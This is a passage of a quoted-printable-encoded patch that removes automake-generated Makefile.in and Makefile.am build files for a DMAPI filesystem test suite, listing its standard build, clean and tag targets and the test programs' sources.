-$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -# This directory's subdirectories are mostly independent; you can cd -# into them and run `make' without going through this Makefile. -# To change the values of `make' variables: instead of editing Makefil= es, -# (1) if the variable is set in `config.status', edit `config.status' -# (which will cause the Makefiles to be regenerated when you run `= make'); -# (2) otherwise, pass the desired values on the `make' command line. -$(RECURSIVE_TARGETS): -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 dot_seen=3Dyes; \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done; \ -=09if test "$$dot_seen" =3D "no"; then \ -=09 $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ -=09fi; test -z "$$fail" - -mostlyclean-recursive clean-recursive distclean-recursive \ -maintainer-clean-recursive: -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09case "$@" in \ -=09 distclean-* | maintainer-clean-*) list=3D'$(DIST_SUBDIRS)' ;; \ -=09 *) list=3D'$(SUBDIRS)' ;; \ -=09esac; \ -=09rev=3D''; for subdir in $$list; do \ -=09 if test "$$subdir" =3D "."; then :; else \ -=09 rev=3D"$$subdir $$rev"; \ -=09 fi; \ -=09done; \ -=09rev=3D"$$rev ."; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09for subdir in $$rev; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done && test -z "$$fail" -tags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = tags); \ -=09done -ctags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = ctags); \ -=09done - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ -=09 include_option=3D--etags-include; \ -=09 empty_fix=3D.; \ -=09else \ -=09 include_option=3D--include; \ -=09 empty_fix=3D; \ -=09fi; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test ! -f $$subdir/TAGS || \ -=09 tags=3D"$$tags $$include_option=3D$$here/$$subdir/TAGS"; \ -=09 fi; \ -=09done; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -=09list=3D'$(DIST_SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test -d "$(distdir)/$$subdir" \ -=09 || $(mkdir_p) "$(distdir)/$$subdir" \ -=09 || exit 1; \ -=09 distdir=3D`$(am__cd) $(distdir) && pwd`; \ -=09 top_distdir=3D`$(am__cd) $(top_distdir) && pwd`; \ -=09 (cd $$subdir && \ -=09 $(MAKE) $(AM_MAKEFLAGS) \ -=09 top_distdir=3D"$$top_distdir" \ -=09 distdir=3D"$$distdir/$$subdir" \ -=09 distdir) \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-recursive -all-am: Makefile -installdirs: installdirs-recursive -installdirs-am: -install: install-recursive -install-exec: install-exec-recursive -install-data: install-data-recursive -uninstall: uninstall-recursive - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-recursive -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-recursive - -clean-am: clean-generic clean-libtool mostlyclean-am - -distclean: distclean-recursive -=09-rm -f Makefile -distclean-am: clean-am distclean-generic distclean-libtool \ -=09distclean-tags - -dvi: dvi-recursive - -dvi-am: - -html: html-recursive - -info: info-recursive - -info-am: - -install-data-am: - -install-exec-am: - -install-info: install-info-recursive - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-recursive -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-recursive - -mostlyclean-am: mostlyclean-generic mostlyclean-libtool - -pdf: pdf-recursive - -pdf-am: - -ps: ps-recursive - -ps-am: - -uninstall-am: uninstall-info-am - -uninstall-info: uninstall-info-recursive - -.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \ -=09clean clean-generic clean-libtool clean-recursive ctags \ -=09ctags-recursive distclean distclean-generic distclean-libtool \ -=09distclean-recursive distclean-tags distdir dvi dvi-am html \ -=09html-am info info-am install install-am install-data \ -=09install-data-am install-exec install-exec-am install-info \ -=09install-info-am install-man install-strip installcheck \ -=09installcheck-am installdirs installdirs-am maintainer-clean \ -=09maintainer-clean-generic maintainer-clean-recursive \ -=09mostlyclean mostlyclean-generic mostlyclean-libtool \ -=09mostlyclean-recursive pdf pdf-am ps ps-am tags tags-recursive \ -=09uninstall uninstall-am uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/suite1/cmd/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite1/cmd/Makefile.am +++ /dev/null @@ -1,64 +0,0 @@ -## Process this file with automake to produce Makefile.in - -## -## Copyright (c) 2000-2001 Silicon Graphics, Inc. All Rights Reserved= . -## - -# things needing -ldm -lhandle -ldmtest -DM_TARGS =3D \ -=09test_assumption \ -=09get_eventlist \ -=09set_eventlist \ -=09set_disp \ -=09get_region \ -=09get_dmattr \ -=09set_dmattr \ -=09remove_dmattr \ -=09probe_hole \ -=09probe_punch_xfsctl_hole \ -=09punch_hole \ -=09get_fileattr \ -=09sync_by_handle \ -=09getall_dmattr \ -=09set_fileattr \ -=09path_to_handle \ -=09path_to_fshandle \ -=09get_mountinfo \ -=09getall_disp \ -=09get_events \ -=09dm_handle \ -=09handle_to_fshandle \ -=09get_config_events \ -=09get_allocinfo \ -=09create_userevent \ -=09request_right \ -=09release_right \ -=09upgrade_right \ -=09query_right \ -=09downgrade_right \ -=09obj_ref_hold \ -=09obj_ref_rele \ -=09obj_ref_query \ -=09print_event \ -=09get_dirattrs - -# things needing -ldm -lhandle -NT_TARGS =3D \ -=09fd_to_handle \ -=09handle_to_path \ -=09init_service \ -=09pending \ -=09print_fshandle \ -=09respond_event - -# things needing -ldm -ldmtest -NTDM_TARGS =3D \ -=09make_sparse \ -=09randomize_file \ -=09rwt \ -=09struct_test - - -bin_PROGRAMS =3D $(DM_TARGS) $(NT_TARGS) $(NTDM_TARGS) link_test - -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la Index: b/dmapi/src/suite1/cmd/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/suite1/cmd/Makefile.in +++ /dev/null @@ -1,940 +0,0 @@ -# Makefile.in generated by automake 1.9.6 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004, 2005 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ - -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -bin_PROGRAMS =3D $(am__EXEEXT_1) $(am__EXEEXT_2) $(am__EXEEXT_3) \ -=09link_test$(EXEEXT) -subdir =3D src/suite1/cmd -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -am__EXEEXT_1 =3D test_assumption$(EXEEXT) get_eventlist$(EXEEXT) \ -=09set_eventlist$(EXEEXT) set_disp$(EXEEXT) get_region$(EXEEXT) \ -=09get_dmattr$(EXEEXT) set_dmattr$(EXEEXT) remove_dmattr$(EXEEXT) \ -=09probe_hole$(EXEEXT) probe_punch_xfsctl_hole$(EXEEXT) \ -=09punch_hole$(EXEEXT) get_fileattr$(EXEEXT) \ -=09sync_by_handle$(EXEEXT) getall_dmattr$(EXEEXT) \ -=09set_fileattr$(EXEEXT) path_to_handle$(EXEEXT) \ -=09path_to_fshandle$(EXEEXT) get_mountinfo$(EXEEXT) \ -=09getall_disp$(EXEEXT) get_events$(EXEEXT) dm_handle$(EXEEXT) \ -=09handle_to_fshandle$(EXEEXT) get_config_events$(EXEEXT) \ -=09get_allocinfo$(EXEEXT) create_userevent$(EXEEXT) \ -=09request_right$(EXEEXT) release_right$(EXEEXT) \ -=09upgrade_right$(EXEEXT) query_right$(EXEEXT) \ -=09downgrade_right$(EXEEXT) obj_ref_hold$(EXEEXT) \ -=09obj_ref_rele$(EXEEXT) obj_ref_query$(EXEEXT) \ -=09print_event$(EXEEXT) get_dirattrs$(EXEEXT) -am__EXEEXT_2 =3D fd_to_handle$(EXEEXT) handle_to_path$(EXEEXT) \ -=09init_service$(EXEEXT) pending$(EXEEXT) print_fshandle$(EXEEXT) \ -=09respond_event$(EXEEXT) -am__EXEEXT_3 =3D make_sparse$(EXEEXT) randomize_file$(EXEEXT) \ -=09rwt$(EXEEXT) struct_test$(EXEEXT) -am__installdirs =3D "$(DESTDIR)$(bindir)" -binPROGRAMS_INSTALL =3D $(INSTALL_PROGRAM) -PROGRAMS =3D $(bin_PROGRAMS) -create_userevent_SOURCES =3D create_userevent.c -create_userevent_OBJECTS =3D create_userevent.$(OBJEXT) -create_userevent_LDADD =3D $(LDADD) -create_userevent_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -dm_handle_SOURCES =3D dm_handle.c -dm_handle_OBJECTS =3D dm_handle.$(OBJEXT) -dm_handle_LDADD =3D $(LDADD) -dm_handle_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -downgrade_right_SOURCES =3D downgrade_right.c -downgrade_right_OBJECTS =3D downgrade_right.$(OBJEXT) -downgrade_right_LDADD =3D $(LDADD) -downgrade_right_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -fd_to_handle_SOURCES =3D fd_to_handle.c -fd_to_handle_OBJECTS =3D fd_to_handle.$(OBJEXT) -fd_to_handle_LDADD =3D $(LDADD) -fd_to_handle_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_allocinfo_SOURCES =3D get_allocinfo.c -get_allocinfo_OBJECTS =3D get_allocinfo.$(OBJEXT) -get_allocinfo_LDADD =3D $(LDADD) -get_allocinfo_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_config_events_SOURCES =3D get_config_events.c -get_config_events_OBJECTS =3D get_config_events.$(OBJEXT) -get_config_events_LDADD =3D $(LDADD) -get_config_events_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_dirattrs_SOURCES =3D get_dirattrs.c -get_dirattrs_OBJECTS =3D get_dirattrs.$(OBJEXT) -get_dirattrs_LDADD =3D $(LDADD) -get_dirattrs_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_dmattr_SOURCES =3D get_dmattr.c -get_dmattr_OBJECTS =3D get_dmattr.$(OBJEXT) -get_dmattr_LDADD =3D $(LDADD) -get_dmattr_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -get_eventlist_SOURCES =3D get_eventlist.c -get_eventlist_OBJECTS =3D get_eventlist.$(OBJEXT) -get_eventlist_LDADD =3D $(LDADD) -get_eventlist_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_events_SOURCES =3D get_events.c -get_events_OBJECTS =3D get_events.$(OBJEXT) -get_events_LDADD =3D $(LDADD) -get_events_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -get_fileattr_SOURCES =3D get_fileattr.c -get_fileattr_OBJECTS =3D get_fileattr.$(OBJEXT) -get_fileattr_LDADD =3D $(LDADD) -get_fileattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_mountinfo_SOURCES =3D get_mountinfo.c -get_mountinfo_OBJECTS =3D get_mountinfo.$(OBJEXT) -get_mountinfo_LDADD =3D $(LDADD) -get_mountinfo_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -get_region_SOURCES =3D get_region.c -get_region_OBJECTS =3D get_region.$(OBJEXT) -get_region_LDADD =3D $(LDADD) -get_region_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -getall_disp_SOURCES =3D getall_disp.c -getall_disp_OBJECTS =3D getall_disp.$(OBJEXT) -getall_disp_LDADD =3D $(LDADD) -getall_disp_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -getall_dmattr_SOURCES =3D getall_dmattr.c -getall_dmattr_OBJECTS =3D getall_dmattr.$(OBJEXT) -getall_dmattr_LDADD =3D $(LDADD) -getall_dmattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -handle_to_fshandle_SOURCES =3D handle_to_fshandle.c -handle_to_fshandle_OBJECTS =3D handle_to_fshandle.$(OBJEXT) -handle_to_fshandle_LDADD =3D $(LDADD) -handle_to_fshandle_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -handle_to_path_SOURCES =3D handle_to_path.c -handle_to_path_OBJECTS =3D handle_to_path.$(OBJEXT) -handle_to_path_LDADD =3D $(LDADD) -handle_to_path_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -init_service_SOURCES =3D init_service.c -init_service_OBJECTS =3D init_service.$(OBJEXT) -init_service_LDADD =3D $(LDADD) -init_service_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -link_test_SOURCES =3D link_test.c -link_test_OBJECTS =3D link_test.$(OBJEXT) -link_test_LDADD =3D $(LDADD) -link_test_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -make_sparse_SOURCES =3D make_sparse.c -make_sparse_OBJECTS =3D make_sparse.$(OBJEXT) -make_sparse_LDADD =3D $(LDADD) -make_sparse_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -obj_ref_hold_SOURCES =3D obj_ref_hold.c -obj_ref_hold_OBJECTS =3D obj_ref_hold.$(OBJEXT) -obj_ref_hold_LDADD =3D $(LDADD) -obj_ref_hold_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -obj_ref_query_SOURCES =3D obj_ref_query.c -obj_ref_query_OBJECTS =3D obj_ref_query.$(OBJEXT) -obj_ref_query_LDADD =3D $(LDADD) -obj_ref_query_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -obj_ref_rele_SOURCES =3D obj_ref_rele.c -obj_ref_rele_OBJECTS =3D obj_ref_rele.$(OBJEXT) -obj_ref_rele_LDADD =3D $(LDADD) -obj_ref_rele_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -path_to_fshandle_SOURCES =3D path_to_fshandle.c -path_to_fshandle_OBJECTS =3D path_to_fshandle.$(OBJEXT) -path_to_fshandle_LDADD =3D $(LDADD) -path_to_fshandle_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -path_to_handle_SOURCES =3D path_to_handle.c -path_to_handle_OBJECTS =3D path_to_handle.$(OBJEXT) -path_to_handle_LDADD =3D $(LDADD) -path_to_handle_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -pending_SOURCES =3D pending.c -pending_OBJECTS =3D pending.$(OBJEXT) -pending_LDADD =3D $(LDADD) -pending_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -print_event_SOURCES =3D print_event.c -print_event_OBJECTS =3D print_event.$(OBJEXT) -print_event_LDADD =3D $(LDADD) -print_event_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -print_fshandle_SOURCES =3D print_fshandle.c -print_fshandle_OBJECTS =3D print_fshandle.$(OBJEXT) -print_fshandle_LDADD =3D $(LDADD) -print_fshandle_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -probe_hole_SOURCES =3D probe_hole.c -probe_hole_OBJECTS =3D probe_hole.$(OBJEXT) -probe_hole_LDADD =3D $(LDADD) -probe_hole_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -probe_punch_xfsctl_hole_SOURCES =3D probe_punch_xfsctl_hole.c -probe_punch_xfsctl_hole_OBJECTS =3D probe_punch_xfsctl_hole.$(OBJEXT) -probe_punch_xfsctl_hole_LDADD =3D $(LDADD) -probe_punch_xfsctl_hole_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -punch_hole_SOURCES =3D punch_hole.c -punch_hole_OBJECTS =3D punch_hole.$(OBJEXT) -punch_hole_LDADD =3D $(LDADD) -punch_hole_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -query_right_SOURCES =3D query_right.c -query_right_OBJECTS =3D query_right.$(OBJEXT) -query_right_LDADD =3D $(LDADD) -query_right_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -randomize_file_SOURCES =3D randomize_file.c -randomize_file_OBJECTS =3D randomize_file.$(OBJEXT) -randomize_file_LDADD =3D $(LDADD) -randomize_file_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -release_right_SOURCES =3D release_right.c -release_right_OBJECTS =3D release_right.$(OBJEXT) -release_right_LDADD =3D $(LDADD) -release_right_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -remove_dmattr_SOURCES =3D remove_dmattr.c -remove_dmattr_OBJECTS =3D remove_dmattr.$(OBJEXT) -remove_dmattr_LDADD =3D $(LDADD) -remove_dmattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -request_right_SOURCES =3D request_right.c -request_right_OBJECTS =3D request_right.$(OBJEXT) -request_right_LDADD =3D $(LDADD) -request_right_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -respond_event_SOURCES =3D respond_event.c -respond_event_OBJECTS =3D respond_event.$(OBJEXT) -respond_event_LDADD =3D $(LDADD) -respond_event_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -rwt_SOURCES =3D rwt.c -rwt_OBJECTS =3D rwt.$(OBJEXT) -rwt_LDADD =3D $(LDADD) -rwt_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -set_disp_SOURCES =3D set_disp.c -set_disp_OBJECTS =3D set_disp.$(OBJEXT) -set_disp_LDADD =3D $(LDADD) -set_disp_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -set_dmattr_SOURCES =3D set_dmattr.c -set_dmattr_OBJECTS =3D set_dmattr.$(OBJEXT) -set_dmattr_LDADD =3D $(LDADD) -set_dmattr_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -set_eventlist_SOURCES =3D set_eventlist.c -set_eventlist_OBJECTS =3D set_eventlist.$(OBJEXT) -set_eventlist_LDADD =3D $(LDADD) -set_eventlist_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -set_fileattr_SOURCES =3D set_fileattr.c -set_fileattr_OBJECTS =3D set_fileattr.$(OBJEXT) -set_fileattr_LDADD =3D $(LDADD) -set_fileattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -struct_test_SOURCES =3D struct_test.c -struct_test_OBJECTS =3D struct_test.$(OBJEXT) -struct_test_LDADD =3D $(LDADD) -struct_test_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -sync_by_handle_SOURCES =3D sync_by_handle.c -sync_by_handle_OBJECTS =3D sync_by_handle.$(OBJEXT) -sync_by_handle_LDADD =3D $(LDADD) -sync_by_handle_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_assumption_SOURCES =3D test_assumption.c -test_assumption_OBJECTS =3D test_assumption.$(OBJEXT) -test_assumption_LDADD =3D $(LDADD) -test_assumption_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -upgrade_right_SOURCES =3D upgrade_right.c -upgrade_right_OBJECTS =3D upgrade_right.$(OBJEXT) -upgrade_right_LDADD =3D $(LDADD) -upgrade_right_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -DEFAULT_INCLUDES =3D -I. -I$(srcdir) -depcomp =3D $(SHELL) $(top_srcdir)/depcomp -am__depfiles_maybe =3D depfiles -COMPILE =3D $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAG= S) \ -=09$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -LTCOMPILE =3D $(LIBTOOL) --tag=3DCC --mode=3Dcompile $(CC) $(DEFS) \ -=09$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ -=09$(AM_CFLAGS) $(CFLAGS) -CCLD =3D $(CC) -LINK =3D $(LIBTOOL) --tag=3DCC --mode=3Dlink $(CCLD) $(AM_CFLAGS) $(CF= LAGS) \ -=09$(AM_LDFLAGS) $(LDFLAGS) -o $@ -SOURCES =3D create_userevent.c dm_handle.c downgrade_right.c \ -=09fd_to_handle.c get_allocinfo.c get_config_events.c \ -=09get_dirattrs.c get_dmattr.c get_eventlist.c get_events.c \ -=09get_fileattr.c get_mountinfo.c get_region.c getall_disp.c \ -=09getall_dmattr.c handle_to_fshandle.c handle_to_path.c \ -=09init_service.c link_test.c make_sparse.c obj_ref_hold.c \ -=09obj_ref_query.c obj_ref_rele.c path_to_fshandle.c \ -=09path_to_handle.c pending.c print_event.c print_fshandle.c \ -=09probe_hole.c probe_punch_xfsctl_hole.c punch_hole.c \ -=09query_right.c randomize_file.c release_right.c remove_dmattr.c \ -=09request_right.c respond_event.c rwt.c set_disp.c set_dmattr.c \ -=09set_eventlist.c set_fileattr.c struct_test.c sync_by_handle.c \ -=09test_assumption.c upgrade_right.c -DIST_SOURCES =3D create_userevent.c dm_handle.c downgrade_right.c \ -=09fd_to_handle.c get_allocinfo.c get_config_events.c \ -=09get_dirattrs.c get_dmattr.c get_eventlist.c get_events.c \ -=09get_fileattr.c get_mountinfo.c get_region.c getall_disp.c \ -=09getall_dmattr.c handle_to_fshandle.c handle_to_path.c \ -=09init_service.c link_test.c make_sparse.c 